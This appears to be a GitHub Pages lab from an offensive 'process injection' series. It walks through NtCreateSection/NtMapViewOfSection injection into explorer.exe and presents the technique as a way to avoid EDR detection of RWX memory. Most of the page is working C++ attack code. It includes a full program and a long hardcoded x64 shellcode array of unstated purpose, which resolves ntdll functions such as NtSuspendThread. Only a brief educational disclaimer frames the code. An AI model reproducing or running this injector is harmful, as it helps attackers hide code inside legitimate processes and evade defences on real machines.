ProcessInjectionTechniques

This comprehensive process injection series is crafted for cybersecurity enthusiasts, researchers, and professionals who aim to stay at the forefront of the field. It serves as a central repository of knowledge, offering in-depth exploration of various process injection techniques and methods used by adversaries.

Project maintained by Offensive-Panda Hosted on GitHub Pages — Theme by mattgraham

NtCreateSection and NtMapViewOfSection Injection

UH

Overview

In this lab, we cover NtCreateSection and NtMapViewOfSection code Injection, This code injection technique utilizing Native APIs such as NtCreateSection, NtMapViewOfSection, and RtlCreateUserThread. The process begins by creating a new memory section with read, write, and execute (RWX) protection using NtCreateSection. Subsequently, a view of this section is mapped into the local malicious process with read and write (RW) protection. Simultaneously, the same section is mapped into the target process with read and execute (RX) protection. This strategy avoids the need to allocate memory pages with RWX protection, which might be flagged by some endpoint detection and response (EDR) systems.

Steps

  1. Create a new memory section with RWX protection
  2. Map a view of the created section to the local process with RW protection
  3. Map a view of the created section to a remote target process with RX protection.
  4. Fill the view mapped in the local process with shellcode. By definition, the mapped view in the target process will get filled with the same shellcode
  5. Create a remote thread in the target process and point it to the mapped view in the target process to execute the shellcode

Walkthrough

This function retrieves the Process ID (PID) of a running process by its name (processName).

	DWORD GetProcessIdByName(const std::wstring& processName) {
    DWORD processIds[1024], bytesReturned;
    if (!EnumProcesses(processIds, sizeof(processIds), &bytesReturned)) {
        std::cerr << "Failed to enumerate processes. Error: " << GetLastError() << std::endl;
        return 0;
    }

    DWORD processCount = bytesReturned / sizeof(DWORD);

    for (DWORD i = 0; i < processCount; ++i) {
        if (processIds[i] == 0) continue;

        HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processIds[i]);
        if (hProcess) {
            WCHAR processNameBuffer[MAX_PATH];
            if (GetModuleFileNameEx(hProcess, NULL, processNameBuffer, MAX_PATH)) {
                std::wstring currentProcessName(processNameBuffer);
                if (currentProcessName.find(processName) != std::wstring::npos) {
                    CloseHandle(hProcess);
                    return processIds[i];
                }
            }
            CloseHandle(hProcess);
        }
    }

    std::cerr << "Process not found." << std::endl;
    return 0;
}

Create a new memory section with RWX protection

HANDLE hSection = NULL;
    SIZE_T size = sizeof(shellcode);
    NTSTATUS status = NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        NULL,
        (PLARGE_INTEGER)&size,
        PAGE_EXECUTE_READWRITE,
        SEC_COMMIT,
        NULL
    );

    if (!NT_SUCCESS(status)) {
        std::cerr << "Failed to create section: " << std::hex << status << std::endl;
        return -1;
    }

Map a view of the section into the local process with RW protection

 PVOID localBaseAddress = NULL;
    status = NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),
        &localBaseAddress,
        NULL,
        NULL,
        NULL,
        &size,
        2,
        NULL,
        PAGE_READWRITE
    );

    if (!NT_SUCCESS(status)) {
        std::cerr << "Failed to map view in local process: " << std::hex << status << std::endl;
        return -1;
    }

Map a view of the section into the target process with RX protection

 std::wstring processName = L"explorer.exe"; // Replace with your process name
	DWORD pid = GetProcessIdByName(processName);
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (!hTargetProcess) {
        std::cerr << "Failed to open target process: " << GetLastError() << std::endl;
        return -1;
    }

    PVOID remoteBaseAddress = NULL;
    status = NtMapViewOfSection(
        hSection,
        hTargetProcess,
        &remoteBaseAddress,
        NULL,
        NULL,
        NULL,
        &size,
        2,
        NULL,
        PAGE_EXECUTE_READ
    );

    if (!NT_SUCCESS(status)) {
        std::cerr << "Failed to map view in target process: " << std::hex << status << std::endl;
        return -1;
    }

Fill the view in the local process with shellcode

    memcpy(localBaseAddress, shellcode, sizeof(shellcode));

Create a remote thread in the target process to execute the shellcode

HANDLE hRemoteThread = CreateRemoteThread(
        hTargetProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteBaseAddress,
        NULL,
        0,
        NULL
    );

    if (!hRemoteThread) {
        std::cerr << "Failed to create remote thread: " << GetLastError() << std::endl;
        return -1;
    }

Full Code

#include <windows.h>
#include <iostream>
#include <Psapi.h>


typedef struct _LSA_UNICODE_STRING { USHORT Length;	USHORT MaximumLength; PWSTR  Buffer; } UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor;	PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef NTSTATUS(NTAPI* PNtCreateSection)(
    PHANDLE SectionHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PLARGE_INTEGER MaximumSize,
    ULONG SectionPageProtection,
    ULONG AllocationAttributes,
    HANDLE FileHandle
    );

typedef NTSTATUS(NTAPI* PNtMapViewOfSection)(
    HANDLE SectionHandle,
    HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG_PTR ZeroBits,
    SIZE_T CommitSize,
    PLARGE_INTEGER SectionOffset,
    PSIZE_T ViewSize,
    DWORD InheritDisposition,
    ULONG AllocationType,
    ULONG Win32Protect
    );

typedef NTSTATUS(NTAPI* PNtUnmpaViewOfSection)(
    IN HANDLE               ProcessHandle,
    IN PVOID                BaseAddress

    );

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

DWORD GetProcessIdByName(const std::wstring& processName) {
	DWORD processIds[1024], bytesReturned;
	if (!EnumProcesses(processIds, sizeof(processIds), &bytesReturned)) {
		std::cerr << "Failed to enumerate processes. Error: " << GetLastError() << std::endl;
		return 0;
	}

	DWORD processCount = bytesReturned / sizeof(DWORD);

	for (DWORD i = 0; i < processCount; ++i) {
		if (processIds[i] == 0) continue;

		HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processIds[i]);
		if (hProcess) {
			WCHAR processNameBuffer[MAX_PATH];
			if (GetModuleFileNameEx(hProcess, NULL, processNameBuffer, MAX_PATH)) {
				std::wstring currentProcessName(processNameBuffer);
				if (currentProcessName.find(processName) != std::wstring::npos) {
					CloseHandle(hProcess);
					return processIds[i];
				}
			}
			CloseHandle(hProcess);
		}
	}

	std::cerr << "Process not found." << std::endl;
	return 0;
}

int main() {

    PNtCreateSection NtCreateSection = (PNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
    PNtMapViewOfSection NtMapViewOfSection = (PNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
    PNtUnmpaViewOfSection NtUnmapViewOfSection = (PNtUnmpaViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnMapViewOfSection"));
  
    // Hello from Offensive Panda
    unsigned char shellcode[] = {
							   0x40, 0x55, 0x57, 0x48, 0x81, 0xEC, 0xB8, 0x03,
	0x00, 0x00, 0x48, 0x8D, 0x6C, 0x24, 0x60, 0x65, 0x48, 0x8B, 0x04, 0x25,
	0x60, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x00, 0x48, 0x8B, 0x45, 0x00,
	0x48, 0x8B, 0x40, 0x18, 0x48, 0x89, 0x45, 0x08, 0x48, 0x8B, 0x45, 0x08,
	0xC6, 0x40, 0x48, 0x00, 0x48, 0x8B, 0x45, 0x00, 0x48, 0x8B, 0x40, 0x18,
	0x48, 0x83, 0xC0, 0x20, 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48,
	0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x85,
	0x38, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00,
	0x6E, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x65, 0x00, 0x6C, 0x00,
	0x33, 0x00, 0x32, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0xB8, 0x2E, 0x00,
	0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x48, 0x48, 0xC7,
	0x45, 0x50, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x50, 0x01, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00,
	0x48, 0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B,
	0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85,
	0x58, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40,
	0x60, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38,
	0x48, 0x89, 0x85, 0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x60, 0x01, 0x00,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
	0x0F, 0xB7, 0x00, 0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x60, 0x01, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B,
	0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x64, 0x01,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
	0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01,
	0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
	0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41,
	0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A,
	0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20,
	0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x64,
	0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE,
	0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68, 0x01, 0x00, 0x00,
	0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85,
	0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F,
	0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85,
	0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
	0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
	0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
	0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00, 0x83,
	0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6,
	0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66,
	0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x6C, 0x01,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xC0,
	0x02, 0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40,
	0x01, 0x00, 0x00, 0x48, 0x83, 0xC0, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01,
	0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x8D,
	0x6C, 0x01, 0x00, 0x00, 0x3B, 0xC1, 0x0F, 0x84, 0xB5, 0xFE, 0xFF, 0xFF,
	0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x2E, 0x01, 0x00,
	0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x83, 0xE8, 0x02,
	0x48, 0x89, 0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
	0x00, 0x00, 0x48, 0x83, 0xE8, 0x02, 0x48, 0x89, 0x85, 0x40, 0x01, 0x00,
	0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88,
	0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00,
	0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B,
	0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x68,
	0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
	0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
	0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01, 0x00, 0x00,
	0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F,
	0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00,
	0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89, 0x85, 0x68,
	0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6,
	0x00, 0x88, 0x85, 0x64, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x40, 0x01,
	0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13,
	0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89,
	0x85, 0x6C, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F, 0xBE, 0x85, 0x64, 0x01,
	0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F, 0xBE, 0x85, 0x64, 0x01,
	0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F, 0xBE, 0x85, 0x64, 0x01,
	0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x65, 0x01, 0x00, 0x00, 0xEB,
	0x0D, 0x0F, 0xB6, 0x85, 0x64, 0x01, 0x00, 0x00, 0x88, 0x85, 0x65, 0x01,
	0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x65, 0x01, 0x00, 0x00, 0x66, 0x89,
	0x85, 0x6C, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x85, 0x68, 0x01, 0x00, 0x00,
	0x0F, 0xB7, 0x8D, 0x6C, 0x01, 0x00, 0x00, 0x2B, 0xC1, 0x89, 0x85, 0x60,
	0x01, 0x00, 0x00, 0x83, 0xBD, 0x60, 0x01, 0x00, 0x00, 0x00, 0x75, 0x10,
	0x48, 0x8B, 0x85, 0x58, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0x50, 0x01,
	0x00, 0x00, 0xEB, 0x25, 0x48, 0x8B, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48,
	0x8B, 0x00, 0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
	0x30, 0x01, 0x00, 0x00, 0x48, 0x39, 0x85, 0x38, 0x01, 0x00, 0x00, 0x0F,
	0x85, 0xF9, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0x85, 0x50, 0x01, 0x00, 0x00,
	0x48, 0x89, 0x85, 0x70, 0x01, 0x00, 0x00, 0x48, 0xB8, 0x6E, 0x00, 0x74,
	0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x6C,
	0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48,
	0xC7, 0x45, 0x48, 0x6C, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45, 0x50, 0x00,
	0x00, 0x00, 0x00, 0x48, 0xC7, 0x85, 0x78, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x00,
	0x48, 0x89, 0x85, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x38, 0x01,
	0x00, 0x00, 0x48, 0x83, 0xE8, 0x10, 0x48, 0x89, 0x85, 0x80, 0x01, 0x00,
	0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48,
	0x8B, 0x85, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x60, 0x48, 0x89,
	0x85, 0x48, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x45, 0x38, 0x48, 0x89, 0x85,
	0x40, 0x01, 0x00, 0x00, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x01, 0x00,
	0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00,
	0x85, 0xC0, 0x75, 0x0F, 0xC7, 0x85, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0xE9, 0x2E, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85, 0x48, 0x01,
	0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x48,
	0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D, 0xFF, 0x00,
	0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x48, 0x01, 0x00, 0x00, 0x0F,
	0xB7, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0xEB, 0x46, 0x0F,
	0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C, 0x1E, 0x0F,
	0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F, 0x12, 0x0F,
	0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xC0, 0x20, 0x88, 0x85, 0x8D,
	0x01, 0x00, 0x00, 0xEB, 0x0D, 0x0F, 0xB6, 0x85, 0x8C, 0x01, 0x00, 0x00,
	0x88, 0x85, 0x8D, 0x01, 0x00, 0x00, 0x66, 0x0F, 0xBE, 0x85, 0x8D, 0x01,
	0x00, 0x00, 0x66, 0x89, 0x85, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x85,
	0x40, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0x00, 0x88, 0x85, 0x8C, 0x01, 0x00,
	0x00, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00, 0x00, 0x0F, 0xB7, 0x00, 0x3D,
	0xFF, 0x00, 0x00, 0x00, 0x7E, 0x13, 0x48, 0x8B, 0x85, 0x40, 0x01, 0x00,
	0x00, 0x0F, 0xB7, 0x00, 0x66, 0x89, 0x85, 0x94, 0x01, 0x00, 0x00, 0xEB,
	0x46, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x41, 0x7C,
	0x1E, 0x0F, 0xBE, 0x85, 0x8C, 0x01, 0x00, 0x00, 0x83, 0xF8, 0x5A, 0x7F,
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	0x00, 0x02, 0x00, 0xB8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x6B, 0xC0, 0x00,
	0x0F, 0xB7, 0x8D, 0x18, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x95, 0xA0, 0x02,
	0x00, 0x00, 0x48, 0x89, 0x4C, 0x02, 0x10, 0xB8, 0x20, 0x00, 0x00, 0x00,
	0x48, 0x6B, 0xC0, 0x00, 0x48, 0x8B, 0x8D, 0xA0, 0x02, 0x00, 0x00, 0x48,
	0x8B, 0x95, 0x20, 0x02, 0x00, 0x00, 0x48, 0x89, 0x54, 0x01, 0x18, 0x48,
	0xC7, 0x85, 0xB0, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B,
	0x85, 0xA0, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8D,
	0x85, 0x40, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B,
	0x85, 0x38, 0x02, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0xC7, 0x44,
	0x24, 0x38, 0x00, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x30, 0x00, 0x00,
	0x00, 0x00, 0x48, 0xC7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x00, 0x00, 0x48,
	0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x41, 0xB9, 0xFF, 0xFF,
	0x1F, 0x00, 0x41, 0xB8, 0xFF, 0xFF, 0x1F, 0x00, 0x48, 0x8D, 0x95, 0xB0,
	0x02, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xA8, 0x02, 0x00, 0x00, 0xFF, 0x95,
	0x08, 0x02, 0x00, 0x00, 0x89, 0x85, 0xB8, 0x02, 0x00, 0x00, 0x48, 0xB8,
	0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x48, 0x89, 0x45, 0x10,
	0x48, 0xB8, 0x64, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x00, 0x48, 0x89,
	0x45, 0x18, 0x48, 0x8D, 0x55, 0x10, 0x48, 0x8B, 0x8D, 0xE8, 0x01, 0x00,
	0x00, 0xFF, 0x95, 0xD0, 0x01, 0x00, 0x00, 0x48, 0x89, 0x85, 0xC0, 0x02,
	0x00, 0x00, 0x33, 0xD2, 0x48, 0xC7, 0xC1, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF,
	0x95, 0xC0, 0x02, 0x00, 0x00, 0x48, 0x8D, 0xA5, 0x58, 0x03, 0x00, 0x00,
	0x5F, 0x5D, 0xC3
    };

    // Step 1: Create a new memory section with RWX protection
    HANDLE hSection = NULL;
    SIZE_T size = sizeof(shellcode);
    NTSTATUS status = NtCreateSection(
        &hSection,
        SECTION_ALL_ACCESS,
        NULL,
        (PLARGE_INTEGER)&size,
        PAGE_EXECUTE_READWRITE,
        SEC_COMMIT,
        NULL
    );

    if (!NT_SUCCESS(status)) {
        std::cerr << "Failed to create section: " << std::hex << status << std::endl;
        return -1;
    }

    // Step 2: Map a view of the section into the local process with RW protection
    PVOID localBaseAddress = NULL;
    status = NtMapViewOfSection(
        hSection,
        GetCurrentProcess(),
        &localBaseAddress,
        NULL,
        NULL,
        NULL,
        &size,
        2,
        NULL,
        PAGE_READWRITE
    );

    if (!NT_SUCCESS(status)) {
        std::cerr << "Failed to map view in local process: " << std::hex << status << std::endl;
        return -1;
    }

    // Step 3: Map a view of the section into the target process with RX protection
	std::wstring processName = L"explorer.exe"; // Replace with your process name
	DWORD pid = GetProcessIdByName(processName);
    HANDLE hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (!hTargetProcess) {
        std::cerr << "Failed to open target process: " << GetLastError() << std::endl;
        return -1;
    }

    PVOID remoteBaseAddress = NULL;
    status = NtMapViewOfSection(
        hSection,
        hTargetProcess,
        &remoteBaseAddress,
        NULL,
        NULL,
        NULL,
        &size,
        2,
        NULL,
        PAGE_EXECUTE_READ
    );

    if (!NT_SUCCESS(status)) {
        std::cerr << "Failed to map view in target process: " << std::hex << status << std::endl;
        return -1;
    }

    // Step 4: Fill the view in the local process with shellcode
    memcpy(localBaseAddress, shellcode, sizeof(shellcode));

    // Step 5: Create a remote thread in the target process to execute the shellcode
    HANDLE hRemoteThread = CreateRemoteThread(
        hTargetProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)remoteBaseAddress,
        NULL,
        0,
        NULL
    );

    if (!hRemoteThread) {
        std::cerr << "Failed to create remote thread: " << GetLastError() << std::endl;
        return -1;
    }

    std::cout << "Shellcode executed in the target process!" << std::endl;

 
	CloseHandle(hRemoteThread);
	CloseHandle(hTargetProcess);
    CloseHandle(hSection);

    return 0;
}

Demonstration

For GitHub-Repo Click Here: Offensive-Panda/ProcessInjectionTechniques

Disclaimer

The content provided on this series is for educational and informational purposes only. It is intended to help users understand cybersecurity concepts and techniques for improving security defenses!